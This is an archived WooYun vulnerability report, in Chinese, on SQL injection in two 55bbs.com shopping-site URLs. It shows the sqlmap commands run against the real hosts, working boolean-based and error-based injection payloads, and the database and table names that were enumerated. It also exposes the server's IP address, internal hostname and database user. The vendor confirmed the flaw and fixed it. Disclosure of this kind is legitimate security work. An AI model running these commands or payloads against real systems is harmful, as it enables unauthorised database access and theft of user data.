破壳企业应急安全(防御方向)课程 应急响应 勒索病毒 挖矿木马 DDOS 日志分析

我爱购物网多处SQL注入可跨库上百万数据

编号114776
Urlhttp://www.wooyun.org/bug.php?action=view&id=114776
漏洞状态厂商已经修复
漏洞标题我爱购物网多处SQL注入可跨库上百万数据
漏洞类型SQL注射漏洞
厂商55bbs.com
白帽子#6c6c6c
提交日期2015-05-18 15:14:00
公开日期2015-05-19 12:55:00
修复时间2015-05-19 12:55:00
确认时间2015-05-19 00:00:00
Confirm Spend1
漏洞标签sql注入
关注数0
收藏数0
白帽评级
白帽自评rank18
厂商评级
厂商评rank15
漏洞简介
昨天深夜,一位2b朋友打电话给我,说他车里的方向盘、刹车、油门、离合全被人卸掉了,叫我去接他。我开车到半路的时候,这货又打电话给我说:你不用过来了,刚才喝多了,现在清醒一点才发现原来自己坐在副驾驶座上。。
漏洞细节

Target: 		http://youhuiquan.55bbs.com/consume.php?keyword=1
Host IP: 118.67.120.221
Web Server: Apache
Powered-by: PHP/5.3.27
DB Server: MySQL time based
Resp. Time(avg): 166 ms
Current User: [email protected]
Sql Version: 5.1.61rP+ 2 2-log
System User: [email protected]
Host Name: c25-55bbs-dbs-mlt-85.cnet.com.cn
Installation dir: /service/server/Perc?na-Server-5.1.61-rel13.2-430.Li?ux.x86_8?/
DB User: 'hunl?a55bbs'@'10.15#18%'
Data Bases: in?orma?ion_schema
55my_h?njia
V?and
hunjiatongji
t?st
ucenter


第一枚

C:\Python27\sqlmap>sqlmap.py -u "http://100.55bbs.com/?c=List&order=id*&page=15"
--dbs
_
___ ___| |_____ ___ ___ {1.0-dev-nongit-20150423}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 14:45:19
custom injection marking character ('*') found in option '-u'. Do you want to pr
ocess it? [Y/n/q] y
[14:45:21] [INFO] testing connection to the target URL
[14:45:21] [INFO] heuristics detected web page charset 'GB2312'
[14:45:21] [INFO] testing if the target URL is stable. This can take a couple of
seconds
[14:45:22] [INFO] target URL is stable
[14:45:22] [INFO] testing if URI parameter '#1*' is dynamic
[14:45:23] [INFO] confirming that URI parameter '#1*' is dynamic
[14:45:23] [INFO] URI parameter '#1*' is dynamic
[14:45:23] [WARNING] heuristic (basic) test shows that URI parameter '#1*' might
not be injectable
[14:45:23] [INFO] testing for SQL injection on URI parameter '#1*'
[14:45:23] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[14:45:23] [WARNING] reflective value(s) found and filtering out
[14:45:27] [INFO] heuristics detected web page charset 'ISO-8859-2'
[14:45:29] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace'
[14:45:30] [INFO] URI parameter '#1*' seems to be 'MySQL >= 5.0 boolean-based bl
ind - Parameter replace' injectable
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads sp
ecific for other DBMSes? [Y/n] y
for the remaining tests, do you want to include all tests for 'MySQL' extending
provided level (1) and risk (1) values? [Y/n] y
[14:48:06] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[14:48:06] [INFO] automatically extending ranges for UNION query injection techn
ique tests as there is at least one other (potential) technique found
[14:48:10] [INFO] checking if the injection point on URI parameter '#1*' is a fa
lse positive
[14:48:12] [WARNING] it appears that the character '>' is filtered by the back-e
nd server. You are strongly advised to rerun with the '--tamper=between'
URI parameter '#1*' is vulnerable. Do you want to keep testing the others (if an
y)? [y/N] y
sqlmap identified the following injection points with a total of 42 HTTP(s) requ
ests:
---
Parameter: #1* (URI)
Type: boolean-based blind
Title: MySQL >= 5.0 boolean-based blind - Parameter replace
Payload: http://100.55bbs.com:80/?c=List&order=(SELECT (CASE WHEN (8444=8444
) THEN 8444 ELSE 8444*(SELECT 8444 FROM INFORMATION_SCHEMA.CHARACTER_SETS) END))
&page=15--dbs
---
[14:48:14] [INFO] the back-end DBMS is MySQL
web application technology: Nginx, PHP 5.2.9
back-end DBMS: MySQL 5.0
[14:48:14] [INFO] fetched data logged to text files under 'C:\Users\Administrato
r\.sqlmap\output\100.55bbs.com'
[*] shutting down at 14:48:14


第二枚

C:\Python27\sqlmap>sqlmap.py -u "http://youhuiquan.55bbs.com/consume.php?keyword
=8a" --dbs
_
___ ___| |_____ ___ ___ {1.0-dev-nongit-20150423}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 14:42:12
[14:42:12] [INFO] resuming back-end DBMS 'mysql'
[14:42:12] [INFO] testing connection to the target URL
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Parameter: keyword (GET)
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment)
Payload: keyword=-4989' OR 3965=3965#
Type: error-based
Title: MySQL OR error-based - WHERE or HAVING clause
Payload: keyword=-5626' OR 1 GROUP BY CONCAT(0x717a626b71,(SELECT (CASE WHEN
(2394=2394) THEN 1 ELSE 0 END)),0x7171787171,FLOOR(RAND(0)*2)) HAVING MIN(0)#
---
[14:42:12] [INFO] the back-end DBMS is MySQL
web application technology: Apache, PHP 5.3.27
back-end DBMS: MySQL 5
[14:42:12] [INFO] fetching database names
[14:42:12] [WARNING] reflective value(s) found and filtering out
[14:42:12] [INFO] the SQL query used returns 6 entries
[14:42:12] [INFO] retrieved: information_schema
[14:42:13] [INFO] retrieved: 55my_hunjia
[14:42:13] [INFO] retrieved: brand
[14:42:13] [INFO] retrieved: hunjiatongji
[14:42:13] [INFO] retrieved: test
[14:42:13] [INFO] retrieved: ucenter
available databases [6]:
[*] 55my_hunjia
[*] brand
[*] hunjiatongji
[*] information_schema
[*] test
[*] ucenter
[14:42:13] [INFO] fetched data logged to text files under 'C:\Users\Administrato
r\.sqlmap\output\youhuiquan.55bbs.com'
[*] shutting down at 14:42:13
C:\Python27\sqlmap>sqlmap.py -u "http://youhuiquan.55bbs.com/consume.php?keyword
=8a" --table -D 55my_hunjia
_
___ ___| |_____ ___ ___ {1.0-dev-nongit-20150423}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 14:42:37
[14:42:37] [INFO] resuming back-end DBMS 'mysql'
[14:42:37] [INFO] testing connection to the target URL
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Parameter: keyword (GET)
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment)
Payload: keyword=-4989' OR 3965=3965#
Type: error-based
Title: MySQL OR error-based - WHERE or HAVING clause
Payload: keyword=-5626' OR 1 GROUP BY CONCAT(0x717a626b71,(SELECT (CASE WHEN
(2394=2394) THEN 1 ELSE 0 END)),0x7171787171,FLOOR(RAND(0)*2)) HAVING MIN(0)#
---
[14:42:38] [INFO] the back-end DBMS is MySQL
web application technology: Apache, PHP 5.3.27
back-end DBMS: MySQL 5
[14:42:38] [INFO] fetching tables for database: '55my_hunjia'
[14:42:38] [WARNING] reflective value(s) found and filtering out
[14:42:38] [INFO] the SQL query used returns 18 entries
[14:42:38] [INFO] retrieved: [Table]shopitems_msg
[14:42:38] [INFO] retrieved: budget_items
[14:42:38] [INFO] retrieved: items_category
[14:42:39] [INFO] retrieved: memo_msg
[14:42:39] [INFO] retrieved: my_user_msg
[14:42:39] [INFO] retrieved: user_budget
[14:42:39] [INFO] retrieved: user_budget_type
[14:42:39] [INFO] retrieved: user_relevance
[14:42:39] [INFO] retrieved: weddingCardUrl
[14:42:39] [INFO] retrieved: wedding_hetong
[14:42:40] [INFO] retrieved: wedding_lucky_day
[14:42:40] [INFO] retrieved: wedding_music
[14:42:40] [INFO] retrieved: wedding_music_type
[14:42:40] [INFO] retrieved: wedding_reg_city
[14:42:40] [INFO] retrieved: wedding_registration
[14:42:40] [INFO] retrieved: wedding_speech
[14:42:41] [INFO] retrieved: wedding_speech_type
[14:42:41] [INFO] retrieved: wedding_speech_url
Database: 55my_hunjia
[18 tables]
+----------------------+
| [Table]shopitems_msg |
| budget_items |
| items_category |
| memo_msg |
| my_user_msg |
| user_budget |
| user_budget_type |
| user_relevance |
| weddingCardUrl |
| wedding_hetong |
| wedding_lucky_day |
| wedding_music |
| wedding_music_type |
| wedding_reg_city |
| wedding_registration |
| wedding_speech |
| wedding_speech_type |
| wedding_speech_url |
+----------------------+
[14:42:41] [INFO] fetched data logged to text files under 'C:\Users\Administrato
r\.sqlmap\output\youhuiquan.55bbs.com'
[*] shutting down at 14:42:41


POC

修复方案

过滤

状态信息 2015-05-18: 细节已通知厂商并且等待厂商处理中
2015-05-19: 厂商已经确认,细节仅向厂商公开
2015-05-19: 厂商已经修复漏洞并主动公开,细节向公众公开
厂商回复漏洞存在,等待修复
回应信息危害等级:高漏洞Rank:15 确认时间:2015-05-19 12:51
Showing 1-3 of 3 items.
评论内容评论人点赞数评论时间

.... 有是注入 安全做的不咋滴呀!

huasec02015-05-21 05:25:00

@我爱购物网 太吊了你们

#6c6c6c02015-05-19 13:00:00

灰色?

XXXQQ02015-05-19 08:40:00